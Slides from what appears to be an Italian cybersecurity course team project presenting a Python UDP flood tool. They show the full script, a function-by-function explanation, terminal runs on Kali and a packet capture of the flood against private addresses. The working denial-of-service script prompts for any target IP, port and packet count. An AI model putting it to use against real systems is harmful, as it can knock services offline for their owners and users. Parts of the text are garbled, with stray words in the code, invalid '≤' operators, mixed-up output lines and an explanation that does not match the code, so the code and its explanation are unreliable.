



TEAM 3

**PROGETTO INGEGNERIA SOCIALE
S3/L5**



```
GNU nano 7.2
import socket
import random
def ip_valido(ip): gioco
    try:
        socket.inet_pton(socket.AF_INET, ip)
        return True
    except socket.error:
        return False
def porta_valida(porta):
    return 1 ≤ porta ≤ 65535
def chiedi_ip(prompt):
    while True:
        ip = input(prompt)
        if ip_valido(ip):
            return ip
    print("Indirizzo IP non valido. Inserire un indirizzo IP valido.")
def chiedi_porta(prompt):
    while True:
        porta = int(input(prompt))
        if porta_valida(porta):
            return porta
        else:
            print("Porta non valida. Inserire un numero di porta compreso tra 1 e 65535.")
def udp_flood(indirizzo_destinazione, porta_destinazione, num_pacchetti):
    try:
        socket_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        dati_pacchetto = random.randbytes(1024)
        for i in range(num_pacchetti):
            socket_udp.sendto(dati_pacchetto, (indirizzo_destinazione, porta_destinazione))
            print(f"Packetto {i+1} inviato con successo.")
        print(f"\nAttacco UDP flood completato: {num_pacchetti} pacchetti inviati.")
    except Exception as e:
        print(f"Errore durante l'attacco UDP flood: {e}")
    finally:
        socket_udp.close()
if __name__ == "__main__":
    indirizzo_destinazione = chiedi_ip("Inserire l'IP target: ")
    porta_destinazione = chiedi_porta("Inserire la porta target: ")
    num_pacchetti = int(input("Inserire il numero di pacchetti da 1 KB da inviare: "))
    udp_flood(indirizzo_destinazione, porta_destinazione, num_pacchetti)
```

- L'attacco UDP flood è una tecnica utilizzata dagli aggressori informatici per sovraccaricare una risorsa di rete, come un server o un'applicazione, inviando un elevato volume di pacchetti UDP.
- Il programma in questione è stato sviluppato per illustrare chiaramente il processo di attuazione di un attacco UDP flood.
- Questo programma crea un elevato volume di pacchetti UDP casuali e li invia al bersaglio specificato, con l'intento di sovraccaricare e rendere inaccessibile il servizio o la risorsa di rete ospitati su quel bersaglio.



TEAM 3

Questo blocco di codice definisce una funzione chiamata chiedi_ip, che è progettata per richiedere all'utente di inserire un indirizzo IP valido, e di restituirlo al programma principale.

```
def chiedi_ip(prompt):
    while True:
        ip = input(prompt)
        if ip_valido(ip):
            return ip
        print("Indirizzo IP non valido. Inserire un indirizzo IP valido.")
```

def chiedi_ip(prompt):

Questa riga di codice definisce la funzione chiedi_ip con un parametro prompt, che è il messaggio da visualizzare all'utente per richiedere l'inserimento dell'indirizzo IP.

while True:

Questo è un loop infinito che continuerà finché non verrà restituito un valore valido o finché non viene interrotto manualmente.

ip = input(prompt):

Questa riga di codice richiede all'utente di inserire un indirizzo IP tramite l'input della tastiera e lo assegna alla variabile ip.

if ipvalido(ip):

Questa riga di codice verifica se l'indirizzo IP inserito dall'utente è valido utilizzando la funzione ipvalido. Se l'indirizzo IP è valido, il controllo passa alla riga successiva.

return ip: Se l'indirizzo IP è valido, la funzione restituisce l'indirizzo IP inserito dall'utente e termina.

print("Indirizzo IP non valido. Inserire un indirizzo IP valido."):

Se l'indirizzo IP inserito dall'utente non è valido, viene visualizzato un messaggio di errore e il loop continua, richiedendo nuovamente all'utente di inserire un indirizzo IP valido.

In sintesi, questa funzione topolino è progettata per richiedere all'utente di inserire un indirizzo IP valido e garantire che l'input sia corretto prima di restituirlo al programma principale.

```
indirizzo_destinazione = chiedi_ip("Inserire l'IP target: ")
```

chiedi_ip ("Inserire l'IP target: "):

Questa parte del codice chiama la funzione topolino e passa la stringa "Inserire l'IP target: " come argomento al parametro prompt. Questo messaggio verrà visualizzato all'utente per richiedere l'inserimento dell'indirizzo IP del bersaglio.



TEAM 3

Questo blocco di codice definisce una funzione chiamata chiedi_porta, che è progettata per richiedere all'utente di inserire una porta valida, e di restituirlo al programma principale.

```
def chiedi_porta(prompt):
    while True:
        port = int(input(prompt))
        if 1 <= port <= 65535:
            return port
        else:
            print("Porta non valida. Inserire un numero di porta compreso tra 1 e 65535.")
```

Funzione chiedi_porta:

Questa funzione è responsabile di ottenere input dall'utente per la porta bersaglio e, continua a richiedere l'input fin quando l'utente non inserisce un valore valido che deve essere compreso tra 1 e 65535.



TEAM 3

Funzione udp_flood:

```
def udp_flood(indirizzo_destinazione, porta_destinazione, num_pacchetti):
    try:
        socket_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        dati_pacchetto = random.randbytes(1024)
        for i in range(num_pacchetti):
            socket_udp.sendto(dati_pacchetto, (indirizzo_destinazione, porta_destinazione))
            print(f"Pacchetto {i+1} inviato con successo.")
        print(f"\nAttacco UDP flood completato: {num_pacchetti} pacchetti inviati.")
    except Exception as e:
        print(f"Errore durante l'attacco UDP flood: {e}")
    finally:
        socket_udp.close()
```

```
packet_data = random.randbytes(1024)
```

Questa funzione è responsabile di condurre un attacco di tipo UDP flood. Tale attacco coinvolge l'invio di un gran numero di pacchetti UDP al server bersaglio con l'intento di sovraccaricare la sua capacità di gestione dei pacchetti.

Viene creato un socket di tipo UDP utilizzando `socket.socket()` con i parametri `socket.AF_INET` (indicando l'utilizzo di IPv4) e `socket.SOCK_DGRAM` (indicando il protocollo UDP).

Viene generato un payload casuale per ogni pacchetto UDP utilizzando `random.getrandbits()` e viene creato un bytearray di lunghezza 1024.

Utilizzando un ciclo for, il codice invia il numero specificato di pacchetti al server bersaglio tramite il metodo `udp_socket.sendto()`.

Dopo l'invio di ciascun pacchetto, viene stampato un messaggio di conferma.

Alla fine dell'attacco, viene stampato un messaggio per indicare il completamento dell'attacco e il numero totale di pacchetti inviati.

Abbiamo incluso una gestione delle eccezioni nella funzione `udp_flood` per catturare eventuali errori che potrebbero verificarsi durante l'attacco UDP flood, ad esempio problemi con la creazione del socket o l'invio dei pacchetti.



TEAM 3

FINALE

```
(kali㉿kali)-[~] $ python Esercizio2L5.py
Inserire l'IP target: 990.890.4.3
Indirizzo IP non valido. Inserire un indirizzo IP valido.
Inserire l'IP target: 192.168.9.0.1
Indirizzo IP non valido. Inserire un indirizzo IP valido.
Inserire l'IP target: 192.168.1.0
Inserire la porta target: 80
Inserire il numero di pacchetti da 1 KB da inviare: 3
Pacchetto 1 inviato con successo.
Pacchetto 2 inviato con successo.
Pacchetto 3 inviato con successo.
Attacco UDP flood completato: 3 pacchetti inviati.

(kali㉿kali)-[~] $ python Esercizio2L5.py
Inserire l'IP target: 192.168.9.0
Inserire la porta target: 6
Inserire il numero di pacchetti da 1 KB da inviare: 23
Pacchetto 1 inviato con successo.
Pacchetto 2 inviato con successo.
Pacchetto 3 inviato con successo.
Pacchetto 4 inviato con successo. Inserire un indirizzo
Pacchetto 5 inviato con successo.
Pacchetto 6 inviato con successo.
Pacchetto 7 inviato con successo.
Pacchetto 8 inviato con successo.
Pacchetto 9 inviato con successo.
Pacchetto 10 inviato con successo.
Pacchetto 11 inviato con successo.
Pacchetto 12 inviato con successo. Inserire un numero di porta compreso
Pacchetto 13 inviato con successo.
Pacchetto 14 inviato con successo.
Pacchetto 15 inviato con successo.
Pacchetto 16 inviato con successo.
Pacchetto 17 inviato con successo.
Pacchetto 18 inviato con successo. target: ")
Pacchetto 19 inviato con successo. porta target: ")
Pacchetto 20 inviato con successo. numero di pacchetti da 1 KB da inviare
Pacchetto 21 inviato con successo.
Pacchetto 22 inviato con successo.
Pacchetto 23 inviato con successo.

Attacco UDP flood completato: 23 pacchetti inviati.
```

19	31.721891679	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
20	31.722032677	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
21	31.722097881	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
22	31.722158697	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
23	31.722219432	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
24	31.722280488	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
25	31.722396058	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
26	31.722559659	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
27	31.722620705	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
28	31.722681952	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
29	31.722753297	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
30	31.722821137	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
31	31.722889427	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
32	31.725052591	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
33	31.725346630	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
34	31.725349235	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
35	31.725350147	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
36	31.725350898	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
37	31.725351650	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
38	31.725352321	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
39	31.725352962	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
40	31.725353643	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024
41	31.725354344	192.168.1.23	192.168.1.8	UDP	1066 59022 → 80 Len=1024



Spiegazione completa del codice

1. Funzione udp_flood:

- Questa funzione è responsabile di condurre un attacco di tipo UDP flood. Tale attacco coinvolge l'invio di un gran numero di pacchetti UDP al server bersaglio con l'intento di sovraccaricare la sua capacità di gestione dei pacchetti.
- Viene creato un socket di tipo UDP utilizzando `socket.socket()` con i parametri `socket.AF_INET` (indicando l'utilizzo di IPv4) e `socket.SOCK_DGRAM` (indicando il protocollo UDP).
- Viene generato un payload casuale per ogni pacchetto UDP utilizzando `random.getrandbits()` e viene creato un bytearray di lunghezza 1024.
- Utilizzando un ciclo for, il codice invia il numero specificato di pacchetti al server bersaglio tramite il metodo `udp_socket.sendto()`.
- Dopo l'invio di ciascun pacchetto, viene stampato un messaggio di conferma.
- Alla fine dell'attacco, viene stampato un messaggio per indicare il completamento dell'attacco e il numero totale di pacchetti inviati.

2. Funzione ip valido:

- Questa funzione verifica se una stringa rappresenta un indirizzo IP valido nel formato IPv4.
- Utilizza `socket.inet_pton()` per provare a convertire la stringa in un indirizzo IP. Se la conversione ha successo, l'indirizzo IP è valido e la funzione restituisce True; altrimenti, restituisce False.

3. Funzioni chiedi_porta e chiedi_ip:

- Queste due funzioni sono responsabili di ottenere input dall'utente, rispettivamente per l'indirizzo IP bersaglio e la porta bersaglio.
- Entrambe le funzioni continuano a richiedere input fino a quando l'utente fornisce un valore valido.

4. Esecuzione Principale (`if __name__ == "__main__":`):

- Questa parte del codice è eseguita quando il file Python viene eseguito direttamente.
- Chiede all'utente di inserire l'indirizzo IP bersaglio, la porta bersaglio e il numero di pacchetti da inviare.
- Utilizza le funzioni topolino e paperino per ottenere l'input dell'utente in modo valido.
- Chiama quindi la funzione `udp_flood` con i valori inseriti dall'utente per avviare l'attacco.



Gianpaolo Miliccia
Team leader

Fabio Nobili

Luca Gaspari

Antonio Perna

Samuel Sette

Andrè Vinícius

Romano Cascialli